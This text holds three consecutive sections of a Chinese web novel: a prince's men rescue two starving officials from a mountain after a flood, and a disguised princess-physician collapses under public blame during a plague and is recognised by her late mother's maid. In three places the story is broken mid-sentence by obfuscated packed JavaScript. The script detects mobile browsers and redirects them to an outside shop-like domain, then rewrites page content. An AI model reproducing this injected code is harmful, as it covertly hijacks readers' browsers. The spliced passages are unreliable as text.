“我们睡了多久了?”此刻天方蒙蒙亮,沈谛祝用手撑着太阳穴,皱眉问道。 “刚刚一个时辰。” 他转过头看向身周,人力紧缺,李为衷为着体恤部下亲自放哨,却也点着脑袋几番睡着,其余士兵们更都是两三依靠着,睡得正熟。 “罢了,”沈谛祝站起身,对李为衷道,“你随我先去前面探探路,让大伙再睡一会儿,再出发。” 找到现在,沈谛祝虽心里觉得希望越来越渺茫,但他还是命李为衷准备好筏子,两人继续沿路往前探去。可他的想法刚到一半,便突然发现北边晨雾朦胧里,一座山伫立其中。 那山不算巍峨,却掀起了沈谛祝心里的所有壮阔。 像苦海里的一叶扁舟,终于找到了能落脚的浮岸。 江南或许还活着,这里有山,如果他们在洪水到来之前上了山,或许他们还能活着! 原来由于昨晚已经入了夜,黑天摸地的情况下,他们虽在离山不过咫尺之余的东西通道上寻找,却并未察觉,也并未看见不远处的北边,正是江南所被困的荒山。而一个时辰的光景,丑寅交替的时分,正好让天色从浑黑一片褪变成浮光微亮。 可他转眼又看见满地的士兵,他们不过在两天的疲劳之下,就已经体力透支了,更何况吃不饱穿不暖的江南二人?即便他们没有葬身于洪水,恐怕也不可能撑到今天。 沈谛祝又忧又急,又恨又喜,他恨自己为什么昨晚只顾着往青州所在的东南方寻找,但凡他们往北走走,说不定昨晚就能发现此山,现在更或许都找到人了。 他令李为衷叫醒余人,手掌一挥道,“大家再坚持坚持,等这趟回去,每人赏一年月银。” 而后他转头看向荒山的方向,道,“搜山!” 山下的人心潮澎湃,山上的人却万念俱灰。 郭少征正双目紧闭,等待着冰凉的匕首划过他袒露的脖颈,就像前几天那双手刚割破过野狼的皮肉时一样。 然而预想之中的疼痛感并没有来,取而代之的是他感到自己怀中被放入了一件硬物。 转而耳边就闻得江南的脚步声竟是走远了。他这才慢慢睁开眼睛,坐起身来,从怀中掏出物什,正是那把匕首。 他恍然大悟,羞愧难当。 他想起江南遇狼那日曾回来说过,他之前在半夜看到惊马的野兽,应该就是这群狼,而他前几日又放走了其中一匹。今天他肯定是照例又去找食物了,自己还没醒,留下这把匕首,自然是给他以防万一用的。 郭少征再次因为自己的以己度人而感到愧疚万分。他握着这把匕首,推开刀鞘,里面还粘着些去除不掉的狼毛,然而刀刃依旧是被磨得锋利尖锐的。心头好似被滚烫的善意浇过,他眼中不知不觉竟有泪意。 曾几何时,他也不甘以算计、攻心等想法先入为主地揣度他人;他也相信过至纯至性的热血与意气,可以打败所有肮脏的构陷与罪恶;他也得过战功赫赫,也进庙堂登上高位,也曾说着一心报国永生不悔。 眼泪顺着粗糙的皮肤滑落,郭少征下意识用舌头舔进口中,这是求生的本能。 先滋润完嘴巴,再谈融化心中的孤牢。 果然没过一会,江南就拎着数把新冒出来的嫩草尖,和几个果子回来了。 两人的体力都下降到了极点,没有一个人开口说话,只是沉闷地啃食着酸果。 郭少征把匕首递还给江南,随后在脸上牵出一个幅度不大的微笑。 江南接过匕首,没有说话。他逼自己快速啃完野果,又嚼了一把乱草,然后就沉默地走到旁边一棵粗壮树下,他跪到地上,用匕首开始一下、一下,朝泥土里深挖起来。他的动作规律而刻板,像魔怔了一般,不休息也不停歇,似乎要永无止境地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253670|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挖下去。 只有郭少征知道他想干什么,他在给他们挖坑。两人在第七日没有等到救援的时候就说好了。他们谁先死,就给对方埋葬。 江南十分在意这个。他不知道自己是怎么生的,但却早早就想好了死,就像他对师妹山青做的那样。 不求著墓刻碑,但求有一处埋骨之所。 土壤一寸一寸地被翻起,露出底下潮润的湿泥。 泥泞的脚印一步一步被留下,是因水浸湿的制靴踏过的痕迹。 交杂的粒粒砂砾被匕首搅动进晒干的阳光里,崩溅到江南的脸上,又掉落至周围的地面。 山路间层层叠叠的浊垢滚上硬皮的鞋底,蹭到士兵们的衣裤上,又随着焦急的前行被连续而至的乱枝刮蹭成一滩烂泥。 一道一道、一圈一圈,如同荡开的涟漪,形成一个愈来愈大的漩涡。 屿王的衣衫也好不到哪去,他心中焦急,带着士兵们以最快的速度沿山扫荡,锦带缎布被树枝拉的到处都是破损,一双如玉无暇的手掌,正背面也布满了细细新痕。一行人就这样快速、又沉默地在荒山中撒开一张巨大的网。 进山前沈谛祝特意交代了不许士兵们以大声叫喊的方式找人,更没有告知众人“江大人”的称呼,虽然这五十随从原本都是被挑选出来能够留在营帐保护屿王安全的,因此忠心绝对不用质疑。但沈谛祝要防的,是一路跟随而来山下那些蹲着的“尾巴”。 如若他们大肆喊起来,不论喊什么,都会让那些“尾巴”察觉到,他们找的,是人。 这是他无奈定下的计策,若出来找寻的行动无法隐瞒,那就不瞒,混淆便是。只要不喊,让他们以为自己在找什么物件。暴露东西,总好过暴露人。然而—— 不能喊,就意味着速度被放慢。 他攥紧了拳头,胸腔里尽是愤恨与憋屈,从与太子争储的第一天起,他就失去了光明正大的资格。连今日来营救自己性命攸关的兄弟,都只能藏着掖着,他对自己的怨恨和对权力的渴望在此刻到达了顶峰,为了走这条一意孤行的路,他现在就像是眼睁睁在看着江南的生命正慢慢地从有可能,而化去、流逝,最后成为与他永隔的不可能。 江南,江南…… 沈谛祝在心里一遍遍唤着他的名字,祈祷他一定还活着。 脚下的路一步步迈向未知的山深处,五十人的队伍横向延展开来,像一道移动的长桨,孤注地在山梗荒野间,硬要翻搅出被掩埋的渴望来。 或许是老天听到了他的渴望,又或许是这山实在是快被搜到了头,他们终于在快被灰头土脸的狼狈淹没前,看到了那身期待已久的官衣—— 那人正背对着自己,双手一下一下地刨着地里泥土,迟钝又麻木。 最先发现来者的是郭少征。他奄奄一息地靠坐在树下,正对着屿王一行前来的方向。忽地看到林子里隐隐出现了一排黑影,他恍惚间还以为是自己出了臆想,想开口叫,却张不动嘴巴,也发不出声音。等人走近了再定睛一看,才确定那是人,许多的人。 而江南则背对着来人。已经力尽筋疲的身体并未让他有任何的察觉,直到他看到郭少征盯着自己背后的表情变得激动起来,恍然还以为是那匹逃跑的狼又来了。 他条件反射般地,将匕首交之左手,猛地转过身来,以那日对抗群狼的姿势,匐着身形,压低重心,反握匕首,横于面前—— 是殿下吗? 他看见来人,甚至没有反应过来,愣愣地定在了原地。 沈谛祝一没想到他还活着,二没想到阔别十二天,他消瘦得差点让自己都没认出来。原本对他身材来说正好的校尉官服,现在竟松松垮垮地吊在身上。 鼻子一酸,快步走上前去,私心暂且被按下,先和李为衷一道路过他,扶起后头依靠在树下的郭少征,而后才独自转过身来,接过摇摇欲坠的江南,看着他道,“我来晚了。” 31. 第五章第十二节 从怔怔地愣在原地,到不知所措与不可置信交织着迸发出来。 眼神亦从清澈明亮,到好似落进去一粒尘埃般失去光彩。 “什么?”石焉轻轻呢喃道。 她好像从那些人的口中听到了自己的名字。 和一些充满了误解与讽刺的言语连在一起。 “凭什么东所那些将死之人的命是命,其他病人的命就不是?就因为其他人没有马上要死吗?” “我们作为另外三所病人的家人,是不是该为他们争取?为他们鸣冤?” 她看见赵将军挡在他们前面,非常头疼的样子,他应该已经在此应付了许多时日了,当他正准备说些什么以平民怨,人群中又有人道: “可不是吗?从石医官来益州,也有一个月了,可她从来没去看过其他三所的病人,连同肖神医一道,日日只对着东所,这好大夫的光,我们连一丝都没沾上。如今连开出的新药方都不配有了么?” 不是的,不是的。石焉想上前去辩解,在染疫前,她每日都会与其他三所的大夫互通有无,就连每个阶段所用的不同药方与防治之法,她亦都原样告知所有大夫。这一个月的头里,正是毒疫发作最危险的周期,因此她才日日守在东所,尽可能避免其他大夫也染病,尽可能减少死亡。她的确是还没来得及亲至其他所中查看病者,但大夫们每日递与她的册子都详细记录了当日的用药与恢复情况,她实际上对于其他三所的情况掌握,一点也不比东所少。 可是…… 脚下突然虚浮起来,额头上开始有冷汗渗出,很快额际和耳鬓就都湿透了,手心和双足本就是冰凉的,此刻也开始冒出虚汗,她本能地伸出双手,像抓住救命稻草般抓住眼前迎客松的筑栏。 耳边的声音忽大忽小,断断续续不停有自己的名字出现在各种人的嘴里,眼前的景象忽明忽暗,停停走走就一路回到了七年前。 母亲被皇家派来的侍卫带走了,央月教外的祭火烧起来了,刺耳的虫鸣响起来了。 里里外外围了好多人,有人在哭,有人在叫,有人冷嘲热讽,有人害怕地捂住了眼睛。 “滇南王犯了杀头死罪,却被皇上秘密处决,你猜这罪是什么?” “呵呵,不就是谋逆那点事儿吗?陛下对外保密,又留王妃的命苟活到今天,真是给够他们家恩德了。” “她被处死啊,是早晚的事,如今央月教来下手,不过是替朝廷肃清余孽罢了。” “想想她以前还每年带着女儿出来为我们义诊,谁知道她背后背了多少人命,犯了多少阴德,这才要做这些来抵消债孽啊?” “我想到我以前被她把过脉,就觉得晦气。她可既是王妃,又是圣女,她不会通过这样的手段,把做的孽,转移到我头上吧?” 这些混淆视听的言语,总是以中伤一个无法开口辩驳的人为目的。因此肮脏龌龊,极尽不堪入耳。 然而她沈妙常,她沈妙常一家,活的,死的,皆非欺软怕硬、转恨而泄愤之人。将对操盘者的憎恶,全部移至不知全貌、蒙蔽其中、作言造语的无知平民身上,而不知亦不敢对背后深因究根探底以求世道的改变与革新,实在是治标不治本,枉费工夫。或许有人以为但行善事不值得,睚眦必报才必要。可偏偏这一切是落到她沈妙常一家的头上,只要她们没说不值得,就没人有资格要求“必须”。 她不仅没有从此对凡人尘世皆以失望待之,还依旧秉承父母之道,尽力所能及去恒行善事,去把这一生活得无愧本心。 因为她知道,姜云谣在受刑前知道,滇南王在天上亦知道,那天的熊熊火光里,的确映照出了几副足以烫穿骨血的恶毒面貌,可火光滔天不灭,人海层叠蜿蜒,那场大火远远映照出了更多的人,他们的脸上是悲痛与不忍,是叹惋与不平。 不过是持善意者不擅发声,不过是卑劣的语言更易刺耳。 她始终相信,在沉默的更多数里,其实涌动着足够掀起巨浪的赤心。爱造谣生事的恶人总是闲不下嘴巴,温柔通惠者则诸多顾虑而不欲述之于口。当人们都愿意将赞美与关怀大方表达出来的时候,淹没这些不怀好意的混珠鱼目,不过是一瞬间的事。 只是这样的愿景离真正实现还有着漫长的距离,现在远远没到时候。 石焉的耳中还灌入着不远处门口喋喋不休的议论,大病初愈的脆弱与这场突如其来的纷争,让她猝不及防又重历了一回最不愿回去的儿时。她的父母,毕竟逝去在那段年岁里了。 她开始手足发麻,口舌发钝,眼睛变成一片漆黑,耳朵也逐渐听不见了。她不是失望,也不会放弃,只是有些无力。她多年坚持不懈地努力与践行,让她紧绷着从未停止过,她需要休息,她的精神与心魄,都该休息一下了。 “或许我们不应该先入为主,低估百姓民众的善良和气度。” 她在晕倒过去之前,脑海里仍浮现了自己的这句话。 一阵风刮过,包容的迎客松只是轻微地抖动了下它枝尖的松针,不过一刹那的光影流转,在浓绿的空隙间,有一道淡色的身影,落了下去。 “江南?江南!” 沈谛祝手臂上的力量陡然加重,他感到面前这个人正不可收拾地往下坠去,他焦急地唤他的名字,却再得不到任何回音。 殿下。 江南在等到屿王后,最后坚持的那根弦也好像一下子断了,他以为自己在张嘴回答屿王,然而却是一点声音都没发出。逐渐地,他终于失去了全部视线。 李为衷见状,把郭少征交予两个士兵搀扶,迅速上来背起已经失去了意识的江南,沈谛祝紧接着发令回程,一行人当即扭头下山,又边走边将提前准备好的两身士兵着装给他们套上。他不能带人去青州,否则无疑于告诉太子青州军是自己的人,于是只能就这样回往益州赶去。 一群人紧挨着,形成了里三层外三层的人墙,拥挤排列在一起,叫人看不清发生了什么,只觉得挨山塞海,水泄不通。 赵将军正对这里外三层的人潮没法子的时候,又突然瞧见了三日不见的顾念怀。 他穿越人群,一手背后一手提衫,上过台阶,跨进门槛,面对百姓,一派正义凛然、仪表堂堂。 很显然,他已经习惯了城内的生活与安排,在他身上,再也看不到那时初入益州的偶尔慌乱、偶尔头晕作呕,他如今的衣服又恢复了明亮与整洁,腰间的屿王府令牌也金光熠熠,灼灼生辉。 “诸位百姓,请听我一言。”顾大人声音清朗,振振有词道,“石医官作为我们屿王府请来的医官,隐瞒我擅自做了这样的决定,我也十分惊讶。关于新药方的诸多事宜,一向是交由石医官全权指挥负责的,也是我疏忽,近几日忙于各种事务,导致三天过去,我才知晓此事。我在此替她,向大家请罪。” 他严正鞠了一躬,作了个揖,又道,“只是石医官实在也有难言之隐,东所重病者、急症者多,因此她情急之下,才做出了有失偏颇的决策,在下再次替她,恳请大家体谅。” 顾念怀身形英朗,行为得体,举止从容,更何况他一言一语都代表着屿王府的指向,众人一下子就安静了下来。 只听他继续道,“不过好在王府已经派人及时作出了补救,第二批药材已在城外卸船,一个时辰后就会送进城内,届时,我会亲自监督,看着药一副一副,平均、公平地分发至各所、各病人手中,不再辜负大家信任。” 眼看着百姓的声势弱了下来,大部分人都对顾念怀的措辞十分买账,不仅不再说什么,甚至看见他鞠躬致歉,一个个都自觉深受不起而纷纷跪地行礼,口中高喊着对王府的感恩戴德起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253671|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >对于边城远境里的平头百姓来说,“屿王”的名号高若天龙,决不可攀,而代表屿王的顾大人竟能向他们鞠躬,这在别的达官显贵身上,是从来不可能的。而他们口中喊冤的那些病人,原本也只有自己家中亲人才在乎一二,这位本该高高在上的顾大人却能实实在在听到他们的诉求,甚至不顾面子而替人认错,且当下就解决了他们的需要,也与传言中那些只知敷衍搪塞、推脱懒怠、拖延未决的上官完全不同。加之顾念怀一月里实实在在挑粪桶、倒污物,为其在百姓心中的分量铺下了不小的基础。因此此刻,他的三段话一出,不仅抵过了赵将军三日的武力镇压,更是直接扭转局面,收拢了民心。 唯有角落里尚有一处不和谐的声音仍旧忿忿不平,她不识相似的,跪在众人中道,“大人,石医官既然医术如此高超,又为何连续在将军府中躲懒?我听东所的人说了,她已经数天未曾去过了!倒都是肖神医,一把年纪仍在尽心照看。我说咱们大伙啊,可别对石医官太宽容了。” 顾念怀的眼神冷冷扫过去,却并没有说话。 乌压压跪了一片的人群中,大家都沉默着,气氛一时有些紧张,直到跪在她身后的一个年轻男子开了口,“别再撺哄怂恿了!肖神医没喊累没抱怨,你倒替他鸣不平来了。” 这男子直起脊背来,又道,“大人,将军。我等本不想、也不敢来聚众堵将军府的门,现在想来都是担忧家人情切,才着了不怀好意之人的道。石医官医术高明,所有大夫束手无策的大疫,偏偏她配出了能根治的方子,这谁都知道,我们亦是十分感谢的。她在府中多日自然有她的要紧事,无须我们置喙。只是我们迟迟没见药发到家人手里,才干出了这样的荒唐事。如今既然有顾大人替大家伙解决了药材紧缺的问题,我们感念屿王府大恩大德,绝不会不知好歹,再得寸进尺。” 他一番话说得恳切,其余百姓更是纷纷附和,大家本就不想与官府做对,得了好处还不撤的,那就真是被人当傻子利用了。 顾念怀闻言牵动嘴角笑了笑,递给赵将军一个眼神,他并不打算留在现场,便避开人群,往外离府而去了。 赵将军则一边指挥大家散去,一边着人从底下拎出了那个煽动情绪的妇人,押了下去。 “等级太低,还想和顾大人辩口舌,呵呵,自不量力。”他看着那妇人被押远的背影,冷笑道。 “将军,这位顾大人,真是厉害。”旁边的一个小兵叹道。 赵将军点点头。他心中触动,自己是一介莽夫,读书不多,滇南王被处决后他遂被下放至这里,在这座连知州都没有的边城里,他是唯一的父母官。可他向来只知武力镇压,却不懂还能如何旁引、如何疏解。而今日,他道: “他只开了三次口,就顶过我们三日徒劳。” “第一次,他道清泾渭,指明错首,摘除屿王府的干系。第二次,他虽非其职仍不辞其责,放低姿态,仁义代李。第三次,他奉上准备好的结果,逆转局面,巩固民心。” 人心最是善变难测,多管闲事就要承受风险。即便屿王来益州治疫有恩于当地百姓,却也很有可能因为某一处的不到位致使反恩为仇,挑事之人正是利用了这一点,要让屿王府无功而返,还留下话柄。只是这人不知道,顾念怀反而要感谢她的这么一闹,否则这场恩情很有可能成为潜在的隐患,不如及早爆发出来,只要他处理得当,就能将此次纷争化为第二场恩德。那么屿王在益州的民心,就稳固了。 赵将军说完后,突然静了下来。 今日的感深肺腑,是因为曾经有过遗恨刻骨。 若当日的滇南王府里有这样一位王佐之才,今时今天的结局会不会改一改?他正这样喟然想着,却突然听闻身后府中有小厮来报: “将军,夫人似乎有急事,她请您快点过去。” 32. 第五章第十三节 “你醒了?”一个关切的女声响起。 石焉感觉自己好像刚从深不见底的泥潭里被拉出来,浑身都灌满了湿漉漉的泥泞,而这些沉泥,正拽着她要拼命回到深渊里去。 她努力和它对抗着,总算让自己的精神变得清醒了一些,当眼神终于不再浑浊暗淡后,视线里出现了一张熟悉的面孔。 石焉刹那间就认出了眼前这位慈眉善目、衣着富贵的妇人,只是她不知道现在的自己,该不该认出她。 骤见故人,她努力克制着自己的心绪,酝酿着开口的第一句话该如何称呼。 “郡主…”对方哽咽着,先一步轻轻唤道。 什么?石焉惊地一下子睁大了眼睛,而这双眼睛里,几乎是爆发般地立刻盛满了泪水,骨子里对王府旧人的信任让她下意识回握住妇人伸过来的手。 后者的手原是做惯了伺候人的活计的,不过能看得出现在正尽力保养修护着,相反,石焉的手从出生起就是娇生惯养着十指不沾春阳水,如今反倒称不上是细嫩柔白了。 她仰躺在床榻上,现有的体力还不足以让其坐起身来,那妇人坐在塌边,半俯下身子来疼惜地看着眼前的人。 两人都笑着,眼中却湿润着,望向对方眼底,企图透过这一串晶莹的泪珠子,看见她们所共同想念的另一个身影。 “这里是我的院子,没有外人,你想哭就哭,别憋着。”妇人哽咽难言,眼泪一行行地掉落下来,砸在被褥上,也落进她们二人紧紧交握的手掌中。她强忍住喉间的抽泣,才快速将接下来的话说完道,“我知道你又受委屈了。” 这句话犹如一根细长银针,轻轻钻进石焉的耳膜,而后在体内“砰”地一声炸裂开来,击碎她所有心防。 眼泪瞬间喷薄而出,顺着面庞,翻过鼻梁,流进耳朵,洇湿枕畔,和她难以克制的痛哭声一道,充斥了整个房间。石焉不知道自己是在哭她所受的委屈,还是在哭对方的这句话实在太像母亲的语气。她只知道自己终于在人世间碰上了一处可以放肆号啕的角落,她想用尽所有的力气去大哭,这样的好机会,对她而言必须紧紧珍惜。 在屿王府,哪怕是祝之笺的院落,都不是可以让她放纵地沉浸于自身痛苦的场所,那样对她而言既不得体,对屿王而言也是空耗情义。 在杭城石家,她更不能如此,爷爷对她视如亲孙,陆伯母与方儿幼弟对她关爱又依赖,她的命被捡来杭城,是为了让她重新活,好好活的。她在双亲之痛中一回,石家也会陪她一起痛一回。 像她这样多思的人,连哭与笑都是先看旁人的。 石焉知道自己是一个巨大的矛盾体,她明明每天都生活在无限的痛苦之中,却希望用自己积极的爱世换旁人的幸福。 她即人人,人人即她。 两个人的脸上都分布着泪痕,她们一齐痛哭,又一齐平静下来,互相给对方抹了抹眼泪后,石焉道,“辛布妈妈,您是什么时候认出我的?” “从一开始,从你进将军府的第一眼。” 这位姓辛布的妇人道,“你脖子里带的金鳞虫,是从你出生起,我亲眼看着你母亲,一点点和你共同喂养着,然后挂到你脖子上的。但我想着你隐瞒身份,一定有你的道理。因此我虽然把此事告诉了将军,但也专门叮嘱了他绝不许戳破。” 那妇人继续说着,好像想起了算得上久远的往事,“当年如果不是王妃和王爷,怕误了我年纪,要我先与将军成婚。恐怕我现在,已经在黄泉祝略的身边与王妃的灵魂跳舞作伴了。” 这位石焉口中的辛布妈妈正是滇南王妃姜云谣当年的贴身侍女,也是伺候石焉从小长大的妈妈。 她与姜云谣皆是苗桃族人,两人一道进了王府,相知相伴,比起主仆,更似亲人。因此当她与赵将军互生情愫的时候,姜云谣郑重地为她备了十足的嫁妆,还说赵将军可堪托付,要风光地把她嫁出去。 可她怎么也没有想到,出嫁那日的红妆映了满天,不过几天之后,就全都变成了白绫与丧幡。 “王妃,现在王爷还在京中,何不等他回来了我们再完婚,你一个人在府中,我不放心啊。” 那是滇南王被留在京里的头一段时间。 辛布随王妃和郡主的车队,先行回了滇南瑶疆,而她们刚回到王府没多久,姜云谣就立刻选定了离得最近的一个吉日作为婚期,并迅速为她们举办了婚礼。 她虽然与赵将军两厢情愿,然而真要立刻嫁了,她心中竟也生出了忐忑和胆怯。于是她在成婚前数日,这样向姜云谣问道,企图等到滇南王回疆了再嫁,拖得一刻是一刻。 然而姜云谣却笑她,“你眼瞧着我孩子都十岁了,自己却还是个没着落的,还说什么不放心我。我有妙常陪着,你呢?” 她当时随即被府上请来的绣娘叫走去试婚服了,便没看到,在她离去之后的房间,一下子就冷了下来。 姜云谣拉着还不明所以的女儿的手,慢慢走至门口,看着她离去时羞怯又憧憬的背影,轻声说了一句,“走吧,能走一个是一个。” 女子的直觉往往是没来由的准确。姜云谣从夫君被“请”留在金陵的那一日起,就开始谋划如何为这一家子备好后路。 辛布是她送走的第一个。 而直到滇南王身死京城,王妃以命祭天,郡主失踪,王府拆禁,辛布才后知后觉那段时间姜云谣的反常。然而一切为时已晚。 她和赵将军双双跪在朝廷发来的圣旨下,每一个字都让耳朵感到冰冷和恐怖。她虽然汉话说的并不标准,然而面前特使的言语,她却听得清楚。 整座将军府有两条下路可走,遵旨则安然下迁益州,抗旨则随王府一道下赴黄泉。 特使转身离去之时,赵将军着急起身想要追问这突如其来的变故到底是为什么,却被她一把拉住了衣袖,她含泪向他摇了摇头。 她腹中刚怀上现在的女儿。 “凝眸,你过来。”赵夫人唤道。 石焉撑着胳膊坐起身来,才看见屏风后面一直站着这个文静聪慧的小姑娘,她眼睛算不上很大,但双目却十分灵动,她从屏风后走出来,打量着自己,眼珠子上下一转,就流露出说不清的玲珑心思来。 她虽小小年纪,但从这双斜飞美人目中便不难看出,其将来必不会埋没深闺,的确合得上“凝眸”这一名字。 “快来道谢。”赵夫人向女儿说完,转而向石焉道,“你研制的解药,特意让顾大人留了一份给凝眸,不然她也不会好的这样快。” “这有什么?”石焉拦下准备跪下致谢的小女孩,道。 “这怎么没有什么?你也染了毒疫,却连给自己的解药都没留。郡主,自将军告诉我这次大疫实则是毒,说句实话,我竟松了口气,因为我知道你的体质,是百毒不侵的。可我没想到即便如此,你竟然还是病了。这十几天我偷偷去看过你许多次,只是总想着你以普通医官的身份自居,我不好进去。怕叫人看见,坏了你的大事。幸亏是王妃在天之灵的保佑,才叫你好好地自愈了。” 石焉此刻细细回想,才恍然发现,自己染病十二日,每天都有各式餐点送到院口,其中就不乏她儿时最爱的样式。 她感恩地向赵夫人笑笑,又见赵凝眸拘谨站在一边,便伸手拉了她过来坐在榻上,然后继续道,“说到这我还要感谢您呢,明明一眼就拆穿我了,却没叫我难堪。说实话,我还以为我这七年,大变样了。” “确是变了。你小时候,那眼睛一水儿的天真,看谁都能抱走你似的。现在不一样了,现在,很不一样了。”她叹了一声,到底是说不出究竟哪里变了。 “可您没变,还是和以前一样叫我亲切。连同凝眸,都这么招人喜欢。”石焉低头摸了摸小丫头的额发,看着这个和宋西州年龄相仿的孩子,她心里也说不出的爱护。 “说来也奇,我和王妃都是苗桃族人,可我们俩的女儿,却都更像汉人女娃些。” “是吗?”石焉笑着逗逗凝眸,两人彼此盯着看了半天,似乎非要找出什么共同之处来。 “不过王妃美貌,是全族女子加起来都追不上的,郡主你又完全传承了这种美丽,相貌如此出挑。要我说,你们是两个民族不同的最美。我和凝眸不可能比较得了。” 石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253672|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焉刚想出声反驳,便又听她说道,“王妃生的实在特别,在我们苗桃人的根子上,又颇有几分西域女子的味道。你知道吗?连当年来走商的异族女子,都比不上王妃的眼眸深邃,明艳高贵。” “其实单论面容,从前大家都说你和王妃并不像,尤其是眉眼处。可在我看来,哪有女儿不像母亲的呢?即便乍一看,你身上并没有什么苗桃女子的影子,可你个子高挑,特别是鼻子挺拔,最像王妃。而且你善良温婉的性子,温和待人的模样,这么多年过去了仍未变过,也十足十跟你母亲一模一样。” 石焉听她说起母亲,听得入迷,一时也忘了自己要说什么,只呆呆地继续听道。 “更何况,王妃是阿娜莎的姑娘,在咱们瑶疆,从出生起,就是万众瞩目的。而郡主你,满月时便被皇帝封赏了定边郡主的称号,更加是全国瞩目。说实话,王妃性子太过温婉,这和我们族里的姑娘并不很一样,因此配上她锐利的容貌,颇有些不相符。可这性子到你的模样上,却正正好好,她们汉人不是说什么江南女子吗?我猜就是你这样的。” 石焉听到这话,想起肖云翎提起母亲时也这样说过。她们姐妹两个,似乎容貌与性格配反了一般。看着温婉的倒生了副冷心肠,看着高贵的偏最爱屈几从人。她还说,本期盼着妹妹定会生下一位明艳无方的好女儿,再配上一个她肖云翎的绝情性子,那么行走这世间,一定会顶恣意潇洒。 可惜造化弄人,事不遂愿。 石焉说道,“母亲身上最难得的,就是她的大度与善良,她看上去似乎很不好招惹,可实际上,却是最能容忍的那个。” “说到容忍,你不也是如此吗?这次的事…”赵夫人顿了顿,似是下定了决心般,才道,“门口的那些百姓,你别怪他们。” “你放心。他们不知全貌,得出了这样的判断,这无可厚非。我怎么会怪他们呢?” “益州的百姓大多数都没出过城门,在他们眼中,天潢贵胄就如同大罗神仙,那是无所不能的。因此什么当天就运来药材弥补上缺口云云,也就让他们感恩戴德地相信了。” 赵夫人继续道,“可我一听就知道,这些事顾大人不可能像他说的那般不知情,不过是让你做替罪羊罢了。” “这事是我们商量好的,辛布妈妈,您可别替我去找小顾的麻烦。” “傻丫头,这事儿咱们原先在王府还见得少吗?我自然不可能责怪顾大人。为官当权的大人物们,要想做出一番事业来,身后总要有数不清的人受委屈的。我只是不想这个人是你。好歹你也有郡主的身份,这身份可是到现在皇帝都未废除过的,不论你愿不愿意当,这个身份,总是你的。” “只要自己心里放得平,就算永远受委屈也不要紧,总有人知道我。”石焉拍了拍赵夫人的手,道,“比如辛布妈妈你。” “再说,”石焉看向她道,“皇上愿意不废郡主,是因为我离他太过遥远。他不知道我活着或是死了,不知道我身在何处,留着一纸任命,能安抚父亲旧部,能保全他仁义之名。可一旦我真的举起郡主令牌出来现身,一旦这个问题真实摆到他的面前,他不仅会立刻废郡主,还会派人剿灭我。” “谁?剿灭什么?” 赵将军此时从门外迈了进来,他抖抖身上的秋叶,见石焉靠坐在床边,欣喜道,“郡主,你醒了!此刻我也不必再演了,你睡了一天多,我昨日听夫人说起你昏倒了,可吓了一大跳,那时你脸色还是惨白的,今天见你醒过来就太好了。” “赵将军。”石焉先点点头致意,这个在益州分明最常打照面的赵将军,此刻与她相认后,终于再次变得亲切,又熟悉。 她正准备表达一下谢意,就听到一声明媚的“爹爹!”,是赵凝眸一下子跑下了床,扑到了她的父亲怀里。从女儿染病以来,想必他们父女也有好几日没有接近了。 门口地上的秋丹时不时被吹得飘进来一两片,掌状的树叶已染上了似火的红色,上面一道道泛青的脉络,像极了父亲手心纵横的纹路。她便闭上了嘴,静静看着这幅金黄的画面。暖秋正当,严寒未至。 十月了。 33. 第五章第十四节 “已经十月十五了,你可算恢复得像个人样了。” 这日沈谛祝带着李为衷走进江南的帐子。后者自洪水荒山里回来后,一病就是半个月。 而在另一架大帐里休息的郭少征,病状却反而比江南要轻得多。 沈谛祝明明记得当时终于找到江南时,他在地上挥着匕首,那时的他看上去甚至还有些反常的云淡风轻,然而回到大帐后,他却一下子久卧不起了。大夫说其内里胆胃和四肢骨肉都各自有了不同程度的损伤。 而今天月亮刚刚又圆了一回,他看上去竟就已好了大半,虽然行动上还远远未恢复自如,大夫也叫他不许乱动,但他仍然坚持每天调理打坐,下地练功。比起身体的消耗,他更害怕武功的退步。于是屿王二人进来时,他正在用桌上的一盏灯台比划着刀剑的招数以作练习。 “让殿下见笑了,我也不知道自己怎么回事,竟然如此不抗用。”他放下灯盏,恭敬道。 “一派胡言。”沈谛祝佯怒道,“你这次不仅是很顶用,还立了大功。郭大人这段时间都跟我说了,如果不是你,他根本活不到今天。” “殿下不怪我…没保住您要的东西吗?” “东西哪有人重要?”沈谛祝用力捏了捏他的肩膀,他知道江南内心深处一直埋着不安,他不忍心再加诸他的愧疚,遂宽慰道。 随后他的眼睛带到他手中的烛台,玩笑道,“不过有一点,我总算知道你师父为什么不肯把卷云刀留在你手上了。你哪都好,就是太费刀!出去一趟废一把,不是断了就是丢了。这回可好,连我的车马也一并丢了。” 